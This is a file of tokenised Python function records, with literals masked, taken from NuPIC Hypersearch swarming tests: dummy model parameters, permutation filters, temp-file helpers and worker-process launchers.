{"signature": "def _getTempFileName():", "body": "handle = tempfile.NamedTemporaryFile(prefix=\"<STR_LIT:test>\", suffix=\"<STR_LIT>\", dir=\"<STR_LIT:.>\")<EOL>filename = handle.name<EOL>handle.close()<EOL>return filename<EOL>", "docstring": "Creates unique test csv file name.", "id": "f17377:m0"}
{"signature": "def _getTempFileName():", "body": "handle = tempfile.NamedTemporaryFile(prefix=\"<STR_LIT:test>\", suffix=\"<STR_LIT>\", dir=\"<STR_LIT:.>\")<EOL>filename = handle.name<EOL>handle.close()<EOL>return filename<EOL>", "docstring": "Creates unique test csv file name.", "id": "f17378:m0"}
{"signature": "def _aggregate(input, options, output, timeFieldName):", "body": "aggregator = Aggregator(aggregationInfo=options, <EOL>inputFields=input.getFields(),<EOL>timeFieldName=timeFieldName)<EOL>while True:<EOL><INDENT>inRecord = input.getNextRecord()<EOL>print(\"<STR_LIT>\", inRecord)<EOL>(outRecord, aggBookmark) = aggregator.next(record = inRecord, <EOL>curInputBookmark = None)<EOL>print(\"<STR_LIT>\", outRecord)<EOL>if outRecord is not None:<EOL><INDENT>output.appendRecord(outRecord, None)<EOL><DEDENT>if inRecord is None and outRecord is None:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Aggregate the input stream and write aggregated records to the output\n    stream", "id": "f17379:m0"}
{"signature": "def setUp(self):", "body": "<EOL>print()<EOL>return<EOL>", "docstring": "Method called to prepare the test fixture. This is called immediately\n        before calling the test method; any exception raised by this method will be\n        considered an error rather than a test failure. The default implementation\n        does nothing.\n\n        NOTE: this is called once for every sub-test and a new AggregationTests\n          instance is constructed for every sub-test.", "id": "f17379:c3:m0"}
{"signature": "def dummyModelParams(perm):", "body": "errScore = <NUM_LIT:100><EOL>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:address>'] is not None:<EOL><INDENT>errScore -= <NUM_LIT:0><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is not None:<EOL><INDENT>errScore -= <NUM_LIT:10><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is not None:<EOL><INDENT>errScore -= <NUM_LIT:20><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is not None:<EOL><INDENT>errScore -= <NUM_LIT:50><EOL><DEDENT>dummyModelParams = dict(<EOL>metricValue = errScore,<EOL>metricFunctions = None,<EOL>)<EOL>return dummyModelParams<EOL>", "docstring": "This function can be used for Hypersearch algorithm development. When\n    present, Hypersearch doesn't actually run the CLA model in the OPF, but instead run\n    a dummy model. This function returns the dummy model params that will be\n    used. See the OPFDummyModelRunner class source code (in\n    nupic.swarming.ModelRunner) for a description of the schema for\n    the dummy model params.", "id": "f17381:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>limit = int(os.environ.get('<STR_LIT>', <NUM_LIT>))<EOL>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] > limit:<EOL><INDENT>return False;<EOL><DEDENT>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17381:m1"}
{"signature": "def dummyModelParams(perm):", "body": "<EOL>errScore = <NUM_LIT:100><EOL>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is None:<EOL><INDENT>errScore -= <NUM_LIT><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is None:<EOL><INDENT>errScore -= <NUM_LIT:20><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:15><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:10><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:5><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore += <NUM_LIT:10><EOL><DEDENT>dummyModelParams = dict(<EOL>metricValue = errScore,<EOL>metricFunctions = None,<EOL>)<EOL>return dummyModelParams<EOL>", "docstring": "This function can be used for Hypersearch algorithm development. When\n    present, we don't actually run the CLA model in the OPF, but instead run\n    a dummy model. This function returns the dummy model params that will be\n    used. See the OPFDummyModelRunner class source code (in\n    nupic.swarming.ModelRunner) for a description of the schema for\n    the dummy model params.", "id": "f17383:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17383:m1"}
{"signature": "def dummyModelParams(perm):", "body": "errScore = <NUM_LIT:50><EOL>errScore += abs(perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] - <NUM_LIT>)<EOL>errScore += abs(perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:n>'] - <NUM_LIT>)<EOL>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:address>'] is not None:<EOL><INDENT>errScore -= <NUM_LIT:20><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is not None:<EOL><INDENT>errScore -= <NUM_LIT:10><EOL><DEDENT>waitTime = None<EOL>if eval(os.environ.get('<STR_LIT>', '<STR_LIT:False>')):<EOL><INDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is not None:<EOL><INDENT>waitTime = <NUM_LIT><EOL><DEDENT><DEDENT>dummyModelParams = dict(<EOL>metricValue = errScore,<EOL>iterations = int(os.environ.get('<STR_LIT>', '<STR_LIT:1>')),<EOL>waitTime = waitTime,<EOL>sysExitModelRange = os.environ.get('<STR_LIT>',<EOL>None),<EOL>errModelRange = os.environ.get('<STR_LIT>',<EOL>None),<EOL>jobFailErr = bool(os.environ.get('<STR_LIT>', False))<EOL>)<EOL>return dummyModelParams<EOL>", "docstring": "This function can be used for Hypersearch algorithm development. When\n    present, Hypersearch doesn't actually run the CLA model in the OPF, but\n    instead runs a dummy model. This function returns the dummy model params that\n    will be used. See the OPFDummyModelRunner class source code (in\n    nupic.swarming.ModelRunner) for a description of the schema\n    for the dummy model params.", "id": "f17385:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>limit = int(os.environ.get('<STR_LIT>', <NUM_LIT>))<EOL>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] > limit:<EOL><INDENT>return False;<EOL><DEDENT>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17385:m1"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17387:m0"}
{"signature": "def dummyModelParams(perm):", "body": "errScore = <NUM_LIT><EOL>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:A>'] is None:<EOL><INDENT>errScore -= <NUM_LIT><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:B>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:30><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:C>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:20><EOL><DEDENT>delay = <NUM_LIT:0><EOL>encoderCount = <NUM_LIT:0><EOL>encoders = perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>for field,encoder in encoders.items():<EOL><INDENT>if encoder is not None:<EOL><INDENT>encoderCount += <NUM_LIT:1><EOL><DEDENT><DEDENT>if encoderCount == <NUM_LIT:2>:<EOL><INDENT>delay = <NUM_LIT:0.1><EOL><DEDENT>elif encoderCount == <NUM_LIT:3>and perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'][\"<STR_LIT:A>\"] is None:<EOL><INDENT>delay = <NUM_LIT><EOL><DEDENT>elif encoderCount == <NUM_LIT:3>:<EOL><INDENT>delay = <NUM_LIT><EOL><DEDENT>dummyModelParams = dict(<EOL>metricValue = errScore,<EOL>metricFunctions = None,<EOL>delay=delay,<EOL>)<EOL>return dummyModelParams<EOL>", "docstring": "This function can be used for Hypersearch algorithm development. When\n    present, we don't actually run the CLA model in the OPF, but instead run\n    a dummy model. This function returns the dummy model params that will be\n    used. See the OPFDummyModelRunner class source code (in\n    nupic.swarming.ModelRunner) for a description of the schema for\n    the dummy model params.", "id": "f17389:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17389:m1"}
{"signature": "def dummyModelParams(perm):", "body": "<EOL>errScore = <NUM_LIT><EOL>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is None:<EOL><INDENT>errScore -= <NUM_LIT:6><EOL>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is None:<EOL><INDENT>errScore -= <NUM_LIT><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is None:<EOL><INDENT>errScore -= <NUM_LIT><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:30><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:20><EOL><DEDENT><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is None:<EOL><INDENT>errScore -= <NUM_LIT:5><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:4><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:3><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:2><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore += <NUM_LIT:2><EOL><DEDENT>dummyModelParams = dict(<EOL>metricValue = errScore,<EOL>metricFunctions = None,<EOL>)<EOL>return dummyModelParams<EOL>", "docstring": "This function can be used for Hypersearch algorithm development. When\n    present, we don't actually run the CLA model in the OPF, but instead run\n    a dummy model. This function returns the dummy model params that will be\n    used. See the OPFDummyModelRunner class source code (in\n    nupic.swarming.ModelRunner) for a description of the schema for\n    the dummy model params.", "id": "f17391:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17391:m1"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] > <NUM_LIT>:<EOL><INDENT>return False;<EOL><DEDENT>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17393:m0"}
{"signature": "def dummyModelParams(perm):", "body": "errScore = <NUM_LIT><EOL>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:A>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:50><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:B>'] is None:<EOL><INDENT>errScore -= <NUM_LIT><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:C>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:30><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:D>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:20><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:E>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:15><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:F>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:10><EOL><DEDENT>if not perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is None:<EOL><INDENT>errScore -= <NUM_LIT:5><EOL><DEDENT>delay = <NUM_LIT:0><EOL>encoderCount = <NUM_LIT:0><EOL>for key in perm.keys():<EOL><INDENT>if '<STR_LIT>' in key and not perm[key] is None:<EOL><INDENT>encoderCount += <NUM_LIT:1><EOL><DEDENT><DEDENT>delay = encoderCount*encoderCount*<NUM_LIT><EOL>dummyModelParams = dict(<EOL>metricValue=errScore,<EOL>metricFunctions=None,<EOL>delay=delay,<EOL>)<EOL>return dummyModelParams<EOL>", "docstring": "This function can be used for Hypersearch algorithm development. When\n    present, we don't actually run the CLA model in the OPF, but instead run\n    a dummy model. This function returns the dummy model params that will be\n    used. See the OPFDummyModelRunner class source code (in\n    nupic.swarming.ModelRunner) for a description of the schema for\n    the dummy model params.", "id": "f17395:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17395:m1"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17397:m0"}
{"signature": "def dummyModelParams(perm):", "body": "<EOL>errScore = <NUM_LIT:50><EOL>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:address>'] is not None:<EOL><INDENT>errScore -= <NUM_LIT:20><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is not None:<EOL><INDENT>errScore -= <NUM_LIT:10><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is not None:<EOL><INDENT>errScore += <NUM_LIT:30><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is not None:<EOL><INDENT>errScore += <NUM_LIT><EOL><DEDENT>dummyModelParams = dict(<EOL>metricValue = errScore,<EOL>iterations = int(os.environ.get('<STR_LIT>', '<STR_LIT:1>')),<EOL>waitTime = None,<EOL>sysExitModelRange = os.environ.get('<STR_LIT>',<EOL>None),<EOL>errModelRange = os.environ.get('<STR_LIT>',<EOL>None),<EOL>jobFailErr = bool(os.environ.get('<STR_LIT>', False))<EOL>)<EOL>return dummyModelParams<EOL>", "docstring": "This function can be used for Hypersearch algorithm development. When\n    present, Hypersearch doesn't actually run the CLA model in the OPF, but\n    instead runs a dummy model. This function returns the dummy model params that\n    will be used. See the OPFDummyModelRunner class source code (in\n    nupic.swarming.ModelRunner) for a description of the schema\n    for the dummy model params.", "id": "f17399:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17399:m1"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17401:m0"}
{"signature": "def dummyModelParams(perm):", "body": "<EOL>errScore = <NUM_LIT:50><EOL>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is not None:<EOL><INDENT>errScore += <NUM_LIT:10><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT:address>'] is not None:<EOL><INDENT>errScore -= <NUM_LIT:10><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] is not None:<EOL><INDENT>errScore -= <NUM_LIT:20><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is not None:<EOL><INDENT>errScore -= <NUM_LIT:30><EOL><DEDENT>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']is not None:<EOL><INDENT>errScore -= <NUM_LIT><EOL><DEDENT>dummyModelParams = dict(<EOL>metricValue = errScore,<EOL>iterations = int(os.environ.get('<STR_LIT>', '<STR_LIT:1>')),<EOL>waitTime = None,<EOL>sysExitModelRange = os.environ.get('<STR_LIT>',<EOL>None),<EOL>errModelRange = os.environ.get('<STR_LIT>',<EOL>None),<EOL>jobFailErr = bool(os.environ.get('<STR_LIT>', False))<EOL>)<EOL>return dummyModelParams<EOL>", "docstring": "This function can be used for Hypersearch algorithm development. When\n    present, Hypersearch doesn't actually run the CLA model in the OPF, but\n    instead runs a dummy model. This function returns the dummy model params that\n    will be used. See the OPFDummyModelRunner class source code (in\n    nupic.swarming.ModelRunner) for a description of the schema\n    for the dummy model params.", "id": "f17403:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17403:m1"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>limit = int(os.environ.get('<STR_LIT>', <NUM_LIT>))<EOL>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] > limit:<EOL><INDENT>return False;<EOL><DEDENT>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17405:m0"}
{"signature": "def dummyModelParams(perm):", "body": "errScore = <NUM_LIT:50><EOL>waitTime = <NUM_LIT><EOL>dummyModelParams = dict(<EOL>metricValue = errScore,<EOL>iterations = int(os.environ.get('<STR_LIT>', '<STR_LIT:5>')),<EOL>waitTime = waitTime,<EOL>sysExitModelRange = os.environ.get('<STR_LIT>',<EOL>None),<EOL>delayModelRange = os.environ.get('<STR_LIT>',<EOL>None),<EOL>errModelRange = os.environ.get('<STR_LIT>',<EOL>None),<EOL>jobFailErr = bool(os.environ.get('<STR_LIT>', False))<EOL>)<EOL>return dummyModelParams<EOL>", "docstring": "This function can be used for Hypersearch algorithm development. When\n    present, Hypersearch doesn't actually run the CLA model in the OPF, but instead run\n    a dummy model. This function returns the dummy model params that will be\n    used. See the OPFDummyModelRunner class source code (in\n    nupic.swarming.ModelRunner) for a description of the schema for\n    the dummy model params.", "id": "f17407:m0"}
{"signature": "def permutationFilter(perm):", "body": "<EOL>limit = int(os.environ.get('<STR_LIT>', <NUM_LIT>))<EOL>if perm['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'] > limit:<EOL><INDENT>return False;<EOL><DEDENT>return True<EOL>", "docstring": "This function can be used to selectively filter out specific permutation\n    combinations. It is called by RunPermutations for every possible permutation\n    of the variables in the permutations dict. It should return True for valid a\n    combination of permutation values and False for an invalid one.\n\n    Parameters:\n    ---------------------------------------------------------\n    perm: dict of one possible combination of name:value\n          pairs chosen from permutations.", "id": "f17407:m1"}
{"signature": "def getHypersearchWinningModelID(jobID):", "body": "cjDAO = ClientJobsDAO.get()<EOL>jobResults = cjDAO.jobGetFields(jobID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>print(\"<STR_LIT>\" % (jobResults,))<EOL>jobResults = json.loads(jobResults)<EOL>return jobResults['<STR_LIT>']<EOL>", "docstring": "Parameters:\n-------------------------------------------------------------------\njobID:            jobID of successfully-completed Hypersearch job\n\nretval:           modelID of the winning model", "id": "f17408:m0"}
{"signature": "def _executeExternalCmdAndReapStdout(args):", "body": "_debugOut((\"<STR_LIT>\") %(args,))<EOL>p = subprocess.Popen(args,<EOL>env=os.environ,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>_debugOut((\"<STR_LIT>\") % (args,))<EOL>(stdoutData, stderrData) = p.communicate()<EOL>_debugOut((\"<STR_LIT>\" +\"<STR_LIT>\") %(args, p.returncode, type(stdoutData), stdoutData, stderrData))<EOL>result = dict(<EOL>exitStatus = p.returncode,<EOL>stdoutData = stdoutData,<EOL>stderrData = stderrData,<EOL>)<EOL>_debugOut((\"<STR_LIT>\") %(args, pprint.pformat(result, indent=<NUM_LIT:4>)))<EOL>return result<EOL>", "docstring": "args:     Args list as defined for the args parameter in subprocess.Popen()\n\nReturns:  result dicionary:\n            {\n              'exitStatus':<exit-status-of-external-command>,\n              'stdoutData':\"string\",\n              'stderrData':\"string\"\n            }", "id": "f17408:m1"}
{"signature": "def _getTestList():", "body": "suiteNames = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>]<EOL>testNames = []<EOL>for suite in suiteNames:<EOL><INDENT>for f in dir(eval(suite)):<EOL><INDENT>if f.startswith('<STR_LIT:test>'):<EOL><INDENT>testNames.append('<STR_LIT>' % (suite, f))<EOL><DEDENT><DEDENT><DEDENT>return testNames<EOL>", "docstring": "Get the list of tests that can be run from this module", "id": "f17408:m3"}
{"signature": "def setUp(self):", "body": "pass<EOL>", "docstring": "Method called to prepare the test fixture. This is called by the\n        unittest framework immediately before calling the test method; any exception\n        raised by this method will be considered an error rather than a test\n        failure. The default implementation does nothing.", "id": "f17408:c1:m0"}
{"signature": "def tearDown(self):", "body": "<EOL>self.resetExtraLogItems()<EOL>", "docstring": "Method called immediately after the test method has been called and the\n        result recorded. This is called even if the test method raised an exception,\n        so the implementation in subclasses may need to be particularly careful\n        about checking internal state. Any exception raised by this method will be\n        considered an error rather than a test failure. This method will only be\n        called if the setUp() succeeds, regardless of the outcome of the test\n        method. The default implementation does nothing.", "id": "f17408:c1:m1"}
{"signature": "def shortDescription(self):", "body": "return None<EOL>", "docstring": "Override to force unittest framework to use test method names instead\n        of docstrings in the report.", "id": "f17408:c1:m2"}
{"signature": "def _printTestHeader(self):", "body": "print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\" % (self.__class__, self._testMethodName))<EOL>", "docstring": "Print out what test we are running", "id": "f17408:c1:m3"}
{"signature": "def _setDataPath(self, env):", "body": "assert env is not None<EOL>if \"<STR_LIT>\" in env:<EOL><INDENT>newPath = \"<STR_LIT>\" % (env[\"<STR_LIT>\"], os.pathsep, g_myEnv.testSrcDataDir)<EOL><DEDENT>else:<EOL><INDENT>newPath = g_myEnv.testSrcDataDir<EOL><DEDENT>env[\"<STR_LIT>\"] = newPath<EOL>", "docstring": "Put the path to our datasets int the NTA_DATA_PATH variable which\n        will be used to set the environment for each of the workers\n\n        Parameters:\n        ---------------------------------------------------------------------\n        env: The current environment dict", "id": "f17408:c1:m4"}
{"signature": "def _launchWorkers(self, cmdLine, numWorkers):", "body": "workers = []<EOL>for i in range(numWorkers):<EOL><INDENT>stdout = tempfile.TemporaryFile()<EOL>stderr = tempfile.TemporaryFile()<EOL>p = subprocess.Popen(cmdLine, bufsize=<NUM_LIT:1>, env=os.environ, shell=True,<EOL>stdin=None, stdout=stdout, stderr=stderr)<EOL>workers.append(p)<EOL><DEDENT>return workers<EOL>", "docstring": "Launch worker processes to execute the given command line\n\n        Parameters:\n        -----------------------------------------------\n        cmdLine: The command line for each worker\n        numWorkers: number of workers to launch\n        retval: list of workers", "id": "f17408:c1:m5"}
{"signature": "def _getJobInfo(self, cjDAO, workers, jobID):", "body": "<EOL>jobInfo = cjDAO.jobInfo(jobID)<EOL>runningCount = <NUM_LIT:0><EOL>for worker in workers:<EOL><INDENT>retCode = worker.poll()<EOL>if retCode is None:<EOL><INDENT>runningCount += <NUM_LIT:1><EOL><DEDENT><DEDENT>if runningCount > <NUM_LIT:0>:<EOL><INDENT>status = ClientJobsDAO.STATUS_RUNNING<EOL><DEDENT>else:<EOL><INDENT>status = ClientJobsDAO.STATUS_COMPLETED<EOL><DEDENT>jobInfo = jobInfo._replace(status=status)<EOL>if status == ClientJobsDAO.STATUS_COMPLETED:<EOL><INDENT>jobInfo = jobInfo._replace(<EOL>completionReason=ClientJobsDAO.CMPL_REASON_SUCCESS)<EOL><DEDENT>return jobInfo<EOL>", "docstring": "Return the job info for a job\n\n        Parameters:\n        -----------------------------------------------\n        cjDAO:   client jobs database instance\n        workers: list of workers for this job\n        jobID:   which job ID\n\n        retval: job info", "id": "f17408:c1:m6"}
{"signature": "def _generateHSJobParams(self,<EOL>expDirectory=None,<EOL>hsImp='<STR_LIT>',<EOL>maxModels=<NUM_LIT:2>,<EOL>predictionCacheMaxRecords=None,<EOL>dataPath=None,<EOL>maxRecords=<NUM_LIT:10>):", "body": "if expDirectory is not None:<EOL><INDENT>descriptionPyPath = os.path.join(expDirectory, \"<STR_LIT>\")<EOL>permutationsPyPath = os.path.join(expDirectory, \"<STR_LIT>\")<EOL>permutationsPyContents = open(permutationsPyPath, '<STR_LIT:r>').read()<EOL>descriptionPyContents = open(descriptionPyPath, '<STR_LIT:r>').read()<EOL>jobParams = {'<STR_LIT>' : generatePersistentJobGUID(),<EOL>'<STR_LIT>': permutationsPyContents,<EOL>'<STR_LIT>': descriptionPyContents,<EOL>'<STR_LIT>': maxModels,<EOL>'<STR_LIT>': hsImp}<EOL>if predictionCacheMaxRecords is not None:<EOL><INDENT>jobParams['<STR_LIT>'] = predictionCacheMaxRecords<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if dataPath is None:<EOL><INDENT>dataPath = resource_filename(\"<STR_LIT>\",<EOL>os.path.join(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"))<EOL><DEDENT>streamDef = dict(<EOL>version = <NUM_LIT:1>,<EOL>info = \"<STR_LIT>\",<EOL>streams = [<EOL>dict(source=\"<STR_LIT>\" % (dataPath),<EOL>info=dataPath,<EOL>columns=[\"<STR_LIT:*>\"],<EOL>first_record=<NUM_LIT:0>,<EOL>last_record=maxRecords),<EOL>],<EOL>)<EOL>expDesc = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": streamDef,<EOL>\"<STR_LIT>\": [<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:string>\"<EOL>},<EOL>{ \"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": 